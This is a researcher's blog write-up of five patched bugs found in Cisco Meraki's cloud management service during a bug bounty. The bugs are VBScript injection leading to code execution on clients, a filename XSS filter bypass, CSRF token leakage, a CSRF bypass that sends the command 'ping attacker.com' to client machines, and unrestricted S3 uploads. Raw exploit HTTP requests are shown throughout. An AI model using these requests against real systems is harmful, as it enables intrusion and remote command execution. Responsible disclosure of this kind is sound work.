A weekend with Cisco Meraki Bug Bounty, a tale of few web bugs .

I was not much interested in bug bounties but the fact that I was interested in learning about Cloud Based products, and going through meraki made me a lot interested in there service. Meraki is a "cloud-managed network infrastructure company," whose products are designed to provide large-scale, distributed wired and wireless networks. An application to manage networks from cloud is big and cool to experiment for a hacker.

So I decided to spent a week end of mine [ May 4th and 5th ] trying to understand there products and working and hacking them. All the bugs mentioned here are reported to them by may second week and patched .I am a lot thankful to meraki for giving this opportunity . I was not planning to post this bug report as there is nothing new in it, but later decided to blog about them. This was mainly because I see a lot of my friends who participate in bug bounties and get paid but I hardly get to see there bug reports :P . So even if this is small I decided to share it .


Bug 1:


Meraki System Manger:

Is a remote management application to manage Windows|Linux|Android|Mac machines from the cloud.

The meraki live tools, part of system manager application allows manager users to sent a message to the remote client.

https://n34.meraki.com/Systems-Manag...st#pn=clientid.



This allows the admin to sent a message to a connected client and the message would be displayed to the end user.






Even though this feature is only supposed to display a message box to the end user, this is vulnerable to a remote code execution on the client user.

How Send Notification works.

On sending the following notification request on System manager app to client.

POST /Systems-Manager/n/Vo6a5cI/manage/pcc/msg/582090251837638886 HTTP/1.1
Host: n34.meraki.com
Connection: keep-alive
Origin: https://n34.meraki.com
X-Requested-With: XMLHttpRequest
Cookie:

msg=fb1h2s




The meraki client [m_agen-service.exe] communicates with the remote meraki server for fetching instructions. Once the notification text is received the applications writes it to a vbs file at %temp%/m_agent-msg.vbs with a message box code.
With some reverse engineering I was able to figure this out.

And later execute it using cscript.exe with the privileges of nt authority\system.





The above functional architecture is pretty poor as well as no filtering is done on what text goes inside the vbs file.

It is possible for an attacker to inject additional vbs code to the temp file and get it executed by truncating the message box code with a double quote.

Poc code:




This way it’s possible to use the system notification option to download deploy a metsploit metpreter executable, or any other malicious applications. The following poc request | code download a remote file and write it to c:\1.exe .


Image from Internet:


Impact And Recomendations:

It is possible to use the same bug to get code execution on all connected clients using the above bypassing the X-header anti csrf method.

Ruby on Rails, which is used by meraki has patched the header bypass issue, but the patches require meraki developers to fix their code to always send a CSRF token in Ajax requests. .

Using Cscript to launch a message box would not a good idea.I am not adding recommendations here, as am not fully aware of the functional requirements for this feature.


Now this is a bug in the remote client management interface the criticality is less since the application itself is a remote management software. The bug would be by default worse if this is posible form a non-admin account. There was a least privileged manager user, but I was not able to test from that user based on some difficulties I faced trying to register a non-manager account. I confirmed this with Jeo Pomes [meraki] and he confirmed that user was not vulnerable to this attack.

Now inorder to make this more critical we need to find and XSS or CSRF bug , that way it would be Kaboom and mass pawning. So I found another bug for that.

BUG 2:



Bug 2: XSS in Systems Manager
Criticality: Medium


Affected Page:
https://n34.meraki.com/Systems-Manag...obile_profiles

The Application where it accepts IOS configuration file does not properly sanitize the filename parameter. This allows an arbitrary payload injection.
There is a small filtering in the backend on the filename, which could be easily bypassed. The filter only checks for [ ; , : , / , \ , ” , ; ] characters. And if any of the above occurrences in the string is found, the input is truncated from that index.

We can bypass the above filter by crafting a payload that does not require any filtered characters; an example of on such filename payload would be.




POC replication:

1) A configuration files with any of these filenames [possible on mac or Lnx ]




2) Upload the configuration file at

https://n34.meraki.com/Systems-Manag...obile_profiles



Bug 3: CSRF token leakage.
Criticality: Medium

The above bug can be used to leak the victim CSRF token.
An interesting thing about the above bug is, it’s possible to leak the CSRF token (authenticity_token) of the victim. Even though it’s obvious that the tokens could be stolen using the above XSS, am trying to address a second issue here.

The above page loads the following javascript.
https://n34.meraki.com/javascripts/v...ime=1363890917

And if the crafted payload is a <script> tag with a source,



then the above JavaScript will make an XHR request, crafting the following request.



Here the victims &authenticity_token [token] and a parameter &_ [current time stamp] is passed on as GET request to the attacker controlled value sas.jpeg. With this bug it’s possible for a remote attacker to steel victims tokens by making the source point to an attacker controlled domain, and steel the tokens.


I was not able to find a filter bypass for http:// [:// ] . This could have been an option [http& # 58 ; & # 4 7 ; & # 4 7 ] but since “ ;” is filtered this does not work. But in older browsers something like this should work <script src="aa@attacker.com" >. This XSS can be triggered using the below mentioned CSRF protection bypass bug as well by a remote attacker. I went for help online from Amol naik and Lavakumar Kuppan and had a very good discussion .

Now we have an XSS not quite useful but fun one. I also noticed this small issue that could lead to code execution using the first bug if the admin is using a vulnerable version of flash. The main reason for addressing on such bug is the fact that meraki system manager, that can send shell commands to remote users as well as the Bug 1 were we explained code execution and if there is small chance for CSRF then it would be pretty bad.

Bug 4: CSRF Protection Bypass:
Criticality : Medium

Currently the CSRF protection for the application is taken care by two methods, 1) checking Ajax HTTP headers 2) by checking a CSRF token.
The issue is if either one of the above conditions satisfies in a request then the request is validated. So even if the authentication_token is removed from a request and added with a X-Requested-With: XMLHttpRequest , the request would be successful. And under certain conditions it is possible to forge an X-requested with header.

Vulnerability:

Under certain conditions the Ajax Http headers could be forged and custom http headers could be added there by defeating the application CSRF protection mechanism. The vulnerability affects meraki users who are running on low version of flash. Many critical calls in the application depend on Ajax headers for CSRF protection. So there by crafting a malicious flash page it would be possible to affect meraki users who’s browsers run a lower version of flash. A detailed write up of the bug could be read form here.

http://lists.webappsec.org/pipermail...ry/007533.html

Using the above issue the following poc exploit was prepared.

POC 1:

1) Send reports to attacker controlled email.

POST /Live-Demo-Branch/n/sWS0Fa/manage/reports/email HTTP/1.1
Host: n1.meraki.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: */*
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://n1.meraki.com/Live-Demo-Bran...manage/reports
Content-Length: 74
Cookie: [striped]

email=loverahulsa%40gmail.com


POC 2: CSRF Bypass, Client remote code execution.

Meraki system manager, can send shell commands to remote users. This request ping a machine.

POST /Systems-Manager/n/7iHAgbI/manage/pcc/command HTTP/1.1
Host: n34.meraki.com
Connection: keep-alive
Content-Length: 53
Accept: */*
Origin: https://n34.meraki.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: https://n34.meraki.com/Systems-Manag...ge/pcc/command
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __cfduid=

machines[]=582090251837638398&command=ping+attacker.com

The machine no in the current request could be bruteforced easily as the machine no 58209025183763[1-2-3-4] is not a random and falls in the same range. So we can make our flash program send request from 582090251837638[000] – 582090251837638[999]. Here remote command is a ping request; the attacker server could be notified by a successful attack by sniffing incoming ICMP packets.


Fix:

Having one such critical code execution feature makes it important that the application does not fully depend on a spoof able source like “x-requested-with” headers, even though the chances are very less. Also if a new header-spoofing bug were discovered in java, flash etc, then all of meraki’s products would be vulnerable. There for it’s highly recommended to relay on access_token or x-request-header and access-token together.



While understanding and finding a bypass for the above bug XSS bug I noticed few other issues, and I reported those as well to meraki :

Bug 5: Malicious file uploading in meraki.


The meraki system manager has got an option to configure a software installer for the clients.[ The module we found XSS on ]
https://n34.meraki.com/Systems-Manager/n/Vo6a5cI/manage/pcc/installer

Based on the docunmentation here.

https://docs.meraki.com/display/SM/Configure+%3E+Software+installer

"
Please keep in mind that you will only be able to deploy .msi files to Windows machines and .pkg files to Mac OS machines.
The software management tool will only allow one type of file to be uploaded at once.
"
It seems like the application is made to only accept .msi and .pkg files to be uploded . And also only one type at a time.


But it was possible to bypass these restrictions to perform the following actions.

1) Upload files with any file extension to Meraki amazon s3.
2) Upload file to a different path than the root path.
3) Upload any number of files to Meraki S3 account , and use Meraki s3 as a personal file sharing server.

Based on our analysis , an opensource ruby on rails project [carrierwave direct ] was used on "/Systems-Manager/n/Vo6a5cI/manage/pcc/installer" page.

Project: https://github.com/dwilkie/carrierwave_direct

The current version of the carrierwave direct code powering meraki is outdated .



1) Upload files with any file extension to Meraki amazon s3.

It is possible to alter the fileupload post request to meraki-pcc-installers.s3.amazonaws.com and alter the file name
to any extension of attackers choice. Only validation is done at client side and no server side validation is performed.

Sample Request:

POST /sas HTTP/1.1
Host: meraki-pcc-installers.s3.amazonaws.com

------------GI3gL6ei4Ef1Ij5Ij5Ef1ae0ei4ei4
Content-Disposition: form-data; name="file"; filename="sas.mp3"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM


Recreating the POC:

Rename an Mp3 file to msi, upload the file and tamper the request and modify the file name to .mp3 extension.
The application will upload the posted file and write to the dom that a msi file was uploded, but in reality the file uploded
would be an mp3 file.

Poc uploaded mp3 song :

http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201/nejukullae.mp3



2) Upload Multiple Files to Meraki S3 account.

It's possible to use meraki account as a personal file sharing space.

Poc Files:

http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201%2Ftest.pk g
http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201%2Ftest.jp eg
http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201%2Ftest.ex e


3) Upload files to a different path than the upload root path.

The upload code relies on the form-data key value to set the upload path, and that value is used with out filtering.

POST /sas HTTP/1.1
Host: meraki-pcc-installers.s3.amazonaws.com


------------GI3gL6ei4Ef1Ij5Ij5Ef1ae0ei4ei4
Content-Disposition: form-data; name="key"

475c5df1536ecdc194b7b4b630756242e450e201/${filename}



If we modify it to

------------GI3gL6ei4Ef1Ij5Ij5Ef1ae0ei4ei4
Content-Disposition: form-data; name="key"

475c5df1536ecdc194b7b4b630756242e450e201.txt


Then an attacker can create a file on the server root path.

POC file created:

http://meraki-pcc-installers.s3.amazonaws.com/475c5df1536ecdc194b7b4b630756242e450e201.txt


Same way an existing file could be replaced with a malicious file as well. For example uploded chrome installer

/key/chrome.exe could be replaced with a malicious exe , if a second post request is made using the same name.



Consequences of the above exploits.

1) A user can upload an malicious exe file and get it flagged by Amazon S3 or other URL monitors and get meraki-pcc-installers.s3.amazonaws.com
account blocked or the domain blacklisted. Malware developers can use Meraki account as a malware controller.

2) A user can use meraki s3 account as his/her personal file sharing space. I have already reported about creating multiple
user accounts using a single [gmail]email id in my previous report. That technique can be used to create n no of accounts.

3) Even though the open source code carrierwave_direct has got a file extension whitelisting and and file size limit,
https://github.com/dwilkie/carrierwa...record_spec.rb

I don't find it configured properly on meraki.

4) Unlimited file hosting for the attacker .


Fix:

Update meraki to the latest version of carrierwave_direct

Filter all user controlled input for file name creation, set max|min file uploading size, set file extension whitelist.

Miscellaneous aka Pointless:

This section contains few observations that cannot be either classified as a security bug or that a poc exploit was not producible. I found worth mentioning it on the report so this was also included in my reports to cisco.

Observation 1:

It is possible to create multiple accounts under same email. This under certain scenarios could be dangerous.

https://account.meraki.com/login/new_account

The application treats

fb1h2s@gmail.com and fb1h2.s@gmail.com to be two different id’s but gmail treats both the ids to be same. So n no of registrations can be made using a single email id. This could be fixed if necessary.


Any way I had a productive weekend and some easy CASH[$$$] , so this bug hunting was fun profitable . Let me see when I can find time for more bounties.

Regards,
Rahul Sasi
http://in.linkedin.com/pub/rahul-sas...2s/15/112/b91/